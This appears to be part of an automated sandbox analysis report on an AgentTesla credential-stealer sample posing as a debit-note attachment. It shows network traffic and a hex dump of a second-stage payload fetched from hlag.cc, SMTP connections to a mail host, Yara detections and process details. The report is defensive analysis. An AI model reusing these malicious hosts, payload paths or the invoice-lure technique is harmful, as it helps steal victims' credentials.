Jan 14, 2025 19:18:29.096450090 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096482992 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096514940 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096518993 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096518993 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096546888 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096579075 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096610069 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096642017 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096645117 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096645117 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096676111 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096707106 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096738100 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096771002 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096776009 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096776009 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096802950 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096834898 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096865892 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096898079 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096903086 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096903086 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.096930981 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096962929 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.096993923 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097026110 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097033024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097033024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097060919 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097093105 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097124100 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097155094 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097160101 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097160101 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097187042 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097218037 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097249031 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097280979 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097287893 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097287893 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097311974 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097343922 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097376108 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097408056 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097414017 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097440004 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097471952 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097475052 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097475052 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097503901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097536087 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097567081 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097601891 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097632885 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097637892 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097637892 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097667933 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.097682953 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.097702026 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.098759890 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185302019 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185326099 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185344934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185369968 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185384989 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185400963 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185405016 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185424089 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185437918 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185453892 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185461998 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185461998 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185482025 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185483932 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185497999 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185512066 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185525894 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185539961 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185540915 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185556889 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185570002 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185580969 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185580969 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185585022 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185600042 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185619116 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:29.185645103 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185645103 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.185655117 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.208334923 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.209728956 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.210252047 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:29.215050936 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:35.101910114 CET	49740	25	192.168.2.4	46.175.148.58
Jan 14, 2025 19:18:43.288438082 CET	49742	25	192.168.2.4	46.175.148.58
Jan 14, 2025 19:18:44.289436102 CET	49742	25	192.168.2.4	46.175.148.58
Jan 14, 2025 19:18:46.289433002 CET	49742	25	192.168.2.4	46.175.148.58
Jan 14, 2025 19:18:50.289527893 CET	49742	25	192.168.2.4	46.175.148.58
Jan 14, 2025 19:18:58.305138111 CET	49742	25	192.168.2.4	46.175.148.58

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 19:17:58.514817953 CET	63088	53	192.168.2.4	1.1.1.1
Jan 14, 2025 19:17:58.857453108 CET	53	63088	1.1.1.1	192.168.2.4
Jan 14, 2025 19:18:19.922245026 CET	53425	53	192.168.2.4	1.1.1.1
Jan 14, 2025 19:18:20.086204052 CET	53	53425	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 19:17:58.514817953 CET	192.168.2.4	1.1.1.1	0xce93	Standard query (0)	hlag.cc	A (IP address)	IN (0x0001)	false
Jan 14, 2025 19:18:19.922245026 CET	192.168.2.4	1.1.1.1	0x9406	Standard query (0)	mail.iaa-airferight.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 19:17:58.857453108 CET	1.1.1.1	192.168.2.4	0xce93	No error (0)	hlag.cc		173.252.167.60	A (IP address)	IN (0x0001)	false
Jan 14, 2025 19:18:20.086204052 CET	1.1.1.1	192.168.2.4	0x9406	No error (0)	mail.iaa-airferight.com		46.175.148.58	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

hlag.cc

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	173.252.167.60	80	6972	C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 19:17:58.912240982 CET	205	OUT	GET /panel/uploads/Xplpg.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: hlag.cc Connection: Keep-Alive
Jan 14, 2025 19:17:59.452898026 CET	245	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: application/octet-stream last-modified: Tue, 14 Jan 2025 08:22:29 GMT accept-ranges: bytes content-length: 1095688 date: Tue, 14 Jan 2025 18:17:59 GMT
Jan 14, 2025 19:17:59.453145027 CET	1236	IN	Data Raw: ff 78 8a e4 35 9a 57 e5 74 4e a8 39 40 b1 9a 4b b5 70 08 3e 95 6e 9d df 5f 41 50 44 72 14 af 3b e0 e2 39 8c f3 8d a9 57 1b 67 b0 02 04 f7 11 4c ec db c2 f6 8b 64 32 bf 40 e6 d7 6a f4 ae 4d aa 13 9d 76 42 a4 aa 9f 60 b9 66 26 b6 c7 c0 e9 eb 12 11 Data Ascii: x5WtN9@Kp>n_APDr;9WgLd2@jMvB`f&1C6YinvUax{>3!u`PD`Bt =f)q`(v9)kTn2Rwy7z% I>Gz%XEi[_ Fnk[
Jan 14, 2025 19:17:59.453156948 CET	1236	IN	Data Raw: 87 a6 7a e1 df 3e 4b 1b 5b 92 1a 8c cc 40 94 37 30 a2 0d c5 bd 5e da 1f 66 2e d6 26 16 9f ec 31 30 f8 e6 28 77 80 bb b1 04 21 4e 54 5b a1 a2 e6 8d 06 b1 18 f5 53 29 88 88 e1 c9 b3 74 f7 7e a4 2b 82 57 2a 8c 5d c2 55 98 6f 74 ec 6c 46 67 e8 ce 57 Data Ascii: z>K[@70^f.&10(w!NT[S)t~+W]UotlFgW}!7fD5lic/r(<wq4/1{fagfo>o>zC-`uKn{fbBx?2kcYW?3U6v6
Jan 14, 2025 19:17:59.453169107 CET	448	IN	Data Raw: c4 d3 ce 12 17 0a 22 06 69 94 9e ff 21 93 d4 03 3e 00 4f 32 a8 71 28 52 8e eb 43 bf ff 37 9c 2f 61 2d d2 86 7a da d9 c8 0c c0 43 38 5c c1 34 dd 8b 65 ce ba 12 37 a1 08 16 e3 17 28 bc 42 3d a9 b0 72 34 d4 05 cf 31 12 75 ae 68 04 50 fc e7 39 e6 f2 Data Ascii: "i!>O2q(RC7/a-zC8\4e7(B=r41uhP9U=_?/C.$2,U0nepX~6FrF\|'=;>}I~`&`weltk_R$@=9.*v%25][ r
Jan 14, 2025 19:17:59.453178883 CET	1236	IN	Data Raw: a5 89 cd f2 75 55 6a 01 d4 8b d7 8d 32 ce 85 88 fa de 80 eb b6 70 c1 ba 1f 3b 24 1f cf 7d f6 d3 14 29 c8 3e 3c 8a f2 ce 12 30 a9 bb 74 d3 8d 5c 04 56 50 e9 10 ab f5 8d 2c 54 af a2 5a 01 8a a8 4e 83 7e 0c d4 f1 cc dd f8 0b ad 39 84 53 f3 b1 74 37 Data Ascii: uUj2p;$})><0t\VP,TZN~9St7Uau2M[$vKq(cxz$7]xoz2<e,@?uZ}gyPhD&=:?IE04yUY5f\|}+.C52~3YOkV*E
Jan 14, 2025 19:17:59.453190088 CET	1236	IN	Data Raw: 2f 44 db 91 ff 41 38 6e 3d e3 d0 a1 90 2e 44 ff 9d db 92 66 8e 65 64 cf 4f 5b 34 66 df 3a 32 26 6b 13 0b fb b5 ac c6 63 27 c0 4d 41 29 d5 1b ee 4c f8 53 68 0d d1 e1 29 38 8e 25 bd 2a 18 c9 3d 1b 20 99 1b 3a 63 06 af 52 25 d4 12 e7 d2 1d ff 03 c5 Data Ascii: /DA8n=.DfedO[4f:2&kc'MA)LSh)8%*= :cR%&f<n~LN0\iZX7iohX-P!+?Vlg=n.x7"Qy\&\|Kg[Y{i!7gvD#\|.`6\?0
Jan 14, 2025 19:17:59.453200102 CET	448	IN	Data Raw: 4f d9 77 be 19 2d 07 a4 ee bb 05 45 8a 93 10 1c e9 1e 33 a3 cb c2 5e 56 5e 21 cf b2 30 83 99 ae 1f 45 1c 0c dd 28 f3 1f 38 a0 ab 3e 2c 18 fe ee 7b b7 87 40 a3 5f 16 b1 76 56 40 52 48 38 d5 03 71 83 f3 08 d2 06 b8 b0 1f 50 0f 00 ef 05 c5 7e d9 dd Data Ascii: Ow-E3^V^!0E(8>,{@_vV@RH8qP~(yFbWer^eQy1"}.^C\|i\]Hw'iC TnP"o@0^)N1L3YDRe#$:"A[?
Jan 14, 2025 19:17:59.457444906 CET	1236	IN	Data Raw: 4c f9 ee 05 d9 4b 5e 28 c2 f7 b9 50 c2 08 ca da ba d3 2b 8c 95 c3 79 6b 3c 08 39 e5 5a 4f 32 e6 ce bf 0f 2c 00 37 4a de 9a f8 2f 49 b5 5d e7 c9 47 d5 ee bc 62 21 f1 83 40 52 7f 6b d9 9b 22 af 45 93 1d f6 93 64 df 0a ed 8d 0f ae c0 ea 14 2a 06 3f Data Ascii: LK^(P+yk<9ZO2,7J/I]Gb!@Rk"Ed?<@`T{KpX11B6?``Aw}TRS?]fWD?)Gd`H"/GGnK.l>*{81`g;4:CZXd!
Jan 14, 2025 19:17:59.457458019 CET	1236	IN	Data Raw: f5 37 df 79 56 b8 d8 e1 9b df 30 27 a5 d3 f3 55 03 d2 2a e9 f1 fe 2f fc a6 18 f2 14 2b 54 8d c7 1e 26 a3 e9 fe c0 82 cb 19 a2 d8 fd 1e ab 37 2d ee 8d e8 2d e7 8f f0 b8 8e a0 91 22 17 ca 73 c3 3a 49 ff d0 6f a3 70 98 12 79 cf bd a2 b4 1e 1a d1 2d Data Ascii: 7yV0'U/+T&7--"s:Iopy-{B<KQZ+Hw"/3Kaoe_M,I1+GL)Mf$$=oLWVRO0-F<ar+i04S-0o2F%zmsg1URc
Jan 14, 2025 19:17:59.457469940 CET	1236	IN	Data Raw: a4 b4 5d a7 37 83 45 18 c7 7c 78 03 45 83 8f 64 b5 f0 29 d6 59 23 18 b7 3e 0e 09 f1 4a 3e 79 8c 35 f1 ad ed 6b 35 7d 5e f3 b1 9c e1 c8 86 1b 29 06 df 8f 2f 66 e4 83 f5 25 fa 6a fc b8 4c e8 fe ac b6 7c 94 b6 e6 ce 7a 62 88 a8 ac 03 cf 21 83 c6 93 Data Ascii: ]7E\|xEd)Y#>J>y5k5}^)/f%jL\|zb!`h_u3jcd@)W0%YrL*wLD4poFq'Eo\P7Ze"Q\A~2-R.T=(96QOM-'O8L=&f)gjTv#=P
Jan 14, 2025 19:17:59.458158970 CET	1236	IN	Data Raw: d6 39 36 28 3d e3 a0 16 80 fa ce 0d dc 8e 7b 8c 57 e1 79 6d 76 e4 dc af 5c d8 c6 69 05 de 6f 41 20 1c e6 60 77 89 a6 71 96 fa 83 44 59 ae 26 c4 58 16 ad 13 c2 2c 30 2c 42 4a 97 f6 9f 4d 10 c2 7e 08 b5 27 2b dc 91 71 65 c9 11 76 af 54 cd 96 71 bf Data Ascii: 96(={Wymv\ioA `wqDY&X,0,BJM~'+qevTqOJeKqqJ-RVCsLYTx/^&d>~=g(<4[p#/C`L"bN>{Kln-TAs,f7U7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	173.252.167.60	80	5844	C:\Users\user\AppData\Roaming\app.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 19:18:27.620418072 CET	205	OUT	GET /panel/uploads/Xplpg.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: hlag.cc Connection: Keep-Alive
Jan 14, 2025 19:18:28.219835043 CET	1236	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: application/octet-stream last-modified: Tue, 14 Jan 2025 08:22:29 GMT accept-ranges: bytes content-length: 1095688 date: Tue, 14 Jan 2025 18:18:28 GMT Data Raw: ff 78 8a e4 35 9a 57 e5 74 4e a8 39 40 b1 9a 4b b5 70 08 3e 95 6e 9d df 5f 41 50 44 72 14 af 3b e0 e2 39 8c f3 8d a9 57 1b 67 b0 02 04 f7 11 4c ec db c2 f6 8b 64 32 bf 40 e6 d7 6a f4 ae 4d aa 13 9d 76 42 a4 aa 9f 60 b9 66 26 b6 c7 c0 e9 eb 12 11 31 f4 f1 43 97 e6 ed a4 1d 36 59 00 0e e4 aa 05 0d 7f d1 84 ec f8 69 00 e8 85 9e a7 a9 81 c7 6e 76 55 87 61 78 7b e4 c7 3e 10 ea 0b 33 de aa 21 b4 75 d5 c7 f4 bf 86 dd 0f 60 0c 50 bc ff b6 a9 e1 8a 44 8e 60 c4 42 12 db 74 dd 20 bb 3d 66 fd 29 c0 71 60 28 76 39 29 6b f3 54 84 ac db ee df e2 eb 80 fd 6e 32 0c 1d 82 9a 52 c9 1c 93 77 79 c4 37 7a a1 25 fa bb 20 1e 49 0e a6 d7 0b 3e c9 b8 17 47 7a 25 a1 58 45 c8 c1 c5 f3 16 a9 69 bc 5b e5 5f 20 f0 a5 a5 80 07 46 10 6e d2 6b 8f f3 5b b5 4f ba bc c6 5e 08 04 7f 85 28 38 3a fa 08 80 ec fb 59 f9 26 45 97 1e 78 2c bc 29 f9 1f cf c4 8b 25 ac 6d 7b 62 04 5b 44 5f 86 e6 97 af 96 16 36 c2 17 5b 62 d2 d0 11 ff 6a 0e 91 b6 22 d5 d8 05 b0 3c ed f8 9a c4 d6 47 91 94 cb 96 57 98 34 1e 2e f0 ab 0b bc a5 98 77 25 b8 fa 3a 66 a8 [TRUNCATED] Data Ascii: x5WtN9@Kp>n_APDr;9WgLd2@jMvB`f&1C6YinvUax{>3!u`PD`Bt =f)q`(v9)kTn2Rwy7z% I>Gz%XEi[_ Fnk[O^(8:Y&Ex,)%m{b[D_6[bj"<GW4.w%:fi4Q\|gM@28oRZb^B1jFQaX<DSTZmCs^1Lf'd4 rbQvC,t b@'{>>Np&jS.:&~nUfOw`Y7jz1>~.BNVK^;E>fR:0K;cSUxk:b&z:.\|OqSzE-epkG}-s%I]> _>^rI7=I&H{4$6exk3)jX4=U~E~ wJ<VBWsPUN9!IILi#\|$&X0>ZcF#ok_]we;F'HeJ"OLDTxlWjf$rV91_y;iCcS>Ef5?tP9Y^Zet^wbM,d]\Is(]e^A<
Jan 14, 2025 19:18:28.219850063 CET	224	IN	Data Raw: 79 db 48 e9 59 d4 e4 6c 6c 72 ad a2 0f 3f 64 b5 9c 48 41 66 82 9e 61 61 82 3c bf 09 13 71 d0 81 31 d2 3d cf 8e 46 a4 d1 ea 36 bb f3 3e 6b 58 41 c1 95 ba 58 fc c4 ef cd 90 44 dc 1a 25 3f e3 7c 66 53 fe 68 38 78 35 14 31 52 93 ff 59 3b 74 23 dd 99 Data Ascii: yHYllr?dHAfaa<q1=F6>kXAXD%?\|fSh8x51RY;t#yWI00H08iagK]j53]9SzK#eq,}yL@f(4P6gW*^KfG?FuYI#Ns&d
Jan 14, 2025 19:18:28.219860077 CET	1236	IN	Data Raw: be b9 d8 e8 b4 f7 24 ea 26 a4 3f e2 7f 45 23 9a 89 18 79 ae ab 87 a6 7a e1 df 3e 4b 1b 5b 92 1a 8c cc 40 94 37 30 a2 0d c5 bd 5e da 1f 66 2e d6 26 16 9f ec 31 30 f8 e6 28 77 80 bb b1 04 21 4e 54 5b a1 a2 e6 8d 06 b1 18 f5 53 29 88 88 e1 c9 b3 74 Data Ascii: $&?E#yz>K[@70^f.&10(w!NT[S)t~+W]UotlFgW}!7fD5lic/r(<wq4/1{fagfo>o>zC-`uKn{fbBx?2kcYW?3
Jan 14, 2025 19:18:28.219870090 CET	1236	IN	Data Raw: 47 06 43 bd 2a 67 4d b9 98 f7 ab 98 cd af c4 ad 71 be 3d 86 60 c4 d3 ce 12 17 0a 22 06 69 94 9e ff 21 93 d4 03 3e 00 4f 32 a8 71 28 52 8e eb 43 bf ff 37 9c 2f 61 2d d2 86 7a da d9 c8 0c c0 43 38 5c c1 34 dd 8b 65 ce ba 12 37 a1 08 16 e3 17 28 bc Data Ascii: GC*gMq=`"i!>O2q(RC7/a-zC8\4e7(B=r41uhP9U=_?/C.$2,U0nepX~6FrF\|'=;>}I~`&`weltk_R$@=9.
Jan 14, 2025 19:18:28.219877958 CET	693	IN	Data Raw: b0 64 f7 9a 67 c7 c9 dd 55 8c 76 b2 f0 44 71 f3 0c 3e 7a 27 50 aa c1 b5 e8 33 7f ff ef c6 2d 0e 44 a7 e2 2f 7e e2 f0 e5 11 d0 2a 3b f7 d0 6a a4 c9 ca 4a 4e d6 bc 2b cc 59 41 b2 e1 b7 c1 a9 a6 b4 c7 c3 5d ff 57 a1 53 af 23 63 37 4e 1a 27 6a 08 d4 Data Ascii: dgUvDq>z'P3-D/~*;jJN+YA]WS#c7N'j!267.:t+{1~%0(]Swu8_NGU\|Us$S N,sE 5<RRe>),YUE_%G&HU?d5![f-+^
Jan 14, 2025 19:18:28.219888926 CET	1236	IN	Data Raw: 23 7c f4 2e 60 36 df 5c 83 da ff c6 3f bf 30 a3 f6 e2 89 ff 33 68 48 42 37 9f b6 f2 4a 3f 9d 81 4c 4b d9 5e f5 81 b9 5a 05 ee 59 9f 0e 21 75 f3 3e 49 54 24 87 54 d7 e8 20 a8 72 9c 7b e4 78 ea 45 fd b2 66 f3 c8 cb 94 f6 3a e5 67 51 fc bc 91 0e 70 Data Ascii: #\|.`6\?03hHB7J?LK^ZY!u>IT$T r{xEf:gQp$[xF]`/1l+"xdQy]areJ*iA/Ut^#/pSd2=NV$uIms0H$(LAtcDHb,WQ>N!sk<o4N&S
Jan 14, 2025 19:18:28.219898939 CET	1236	IN	Data Raw: 2a d7 9b 24 e0 3a fa 22 90 ff 41 5b 94 a4 ec 92 cc 3f e1 c8 47 3e 15 88 fd ab b0 b4 a3 65 03 da 60 5f da 9b c2 5f 2f f5 a8 a1 c0 0f e9 51 28 9d ce be a7 3a 78 15 3e 52 01 89 3d ff 7e 53 28 33 07 51 86 57 a1 db c4 af 87 79 3f 27 36 b0 5e 00 5e 6c Data Ascii: *$:"A[?G>e`__/Q(:x>R=~S(3QWy?'6^^l/l0~xU13li]5"bhA{]8E. Zmb^00>E<a)/iMQQg8]lq^O\J\wHW:i/x;bZi5DLK^(P+
Jan 14, 2025 19:18:28.219907999 CET	448	IN	Data Raw: b2 2f 73 1f 68 c8 4a ac e5 14 5f ce 3b 20 ea 78 1b c6 93 3f 71 a8 35 49 0a cf f7 7c 44 3c e3 ae 11 59 79 64 97 21 6c d0 0e 19 40 ab fa 1b 48 cf ae 13 7b 2f 18 06 7f cf 27 ca 6d 8c 48 27 dc 02 ab c6 43 e8 44 06 30 e8 da 13 7c 4b f0 95 15 b5 28 6e Data Ascii: /shJ_; x?q5I\|D<Yyd!l@H{/'mH'CD0\|K(ntX&i.4bxy!Yx01}JJOy@vW)nv$-:RCS`FMa$\|z85+vOtJ7yV0'U
Jan 14, 2025 19:18:28.219917059 CET	1236	IN	Data Raw: 7a f2 6d 73 e4 67 df 31 55 89 1f 52 63 ab b9 c5 d2 d7 7f 66 64 9b 06 5d 9e d4 a0 56 95 21 61 9c 8f 4e 53 08 c9 40 6d de 64 e4 be be 52 47 de ae 5d 59 0b ed 32 ad 0b 3f 44 a7 46 f0 b9 77 d7 5b 94 20 8d 66 9d 1c 26 2d b5 79 28 cb 52 08 86 32 79 79 Data Ascii: zmsg1URcfd]V!aNS@mdRG]Y2?DFw[ f&-y(R2yy5>0\| r::_}3UJzd(A=is}`yJHc:Vqy]#uk>be4.J W8^b/cCNV58
Jan 14, 2025 19:18:28.219927073 CET	1236	IN	Data Raw: ef 14 29 0e 1f 67 6a e7 d5 b9 54 87 76 23 c3 3d 18 84 50 ae d6 3c 9f f5 a9 64 ae 68 a9 08 28 3b 52 9b d6 55 c4 74 10 21 19 ec fa 9f 4e a9 03 2a 47 49 1d 1d 2a 3f ee 79 ad ad 81 ba af 40 fc 85 18 96 ab c3 a6 d8 ef 5d cd 01 f8 03 78 bb dd b3 81 24 Data Ascii: )gjTv#=P<dh(;RUt!NGI?y@]x$7b1,k:C']<U?9L3q2Rv$oZ2\.W6zIsc_]bIa!)YNLe~cQ*xN=46/awu.3{.oIrvw1S`
Jan 14, 2025 19:18:28.224720955 CET	1236	IN	Data Raw: 73 f7 b3 2c f8 d3 bd 16 66 37 86 55 cb 37 ea 8e 05 e1 db 6b 8d 95 9b 5d bb 0e fc 09 3d e2 4e 31 19 2a d3 4f 89 d5 cd 4f 9c ae c7 9a 3f 5e 86 e7 be 77 b0 16 ad 9e 30 50 fb 85 a6 36 ab 7f 0f f7 28 3e 34 c3 3a da dc 72 8d ab 3d 7c 59 f9 d8 bd 29 dc Data Ascii: s,f7U7k]=N1*OO?^w0P6(>4:r=\|Y);yXO{T@#_M/'Uuva[tP'fzq.p-A>;Y9`]bE[d""FVI.O(CbiO15LK%6Hj

Target ID:	0
Start time:	13:17:57
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe"
Imagebase:	0xea0000
File size:	48'032 bytes
MD5 hash:	58A83CBFBD24495D3427075426C7BB6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1941025623.0000000006D20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1934693876.0000000004573000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1934693876.0000000004573000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1922724885.0000000003460000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:18:00
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:18:00
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
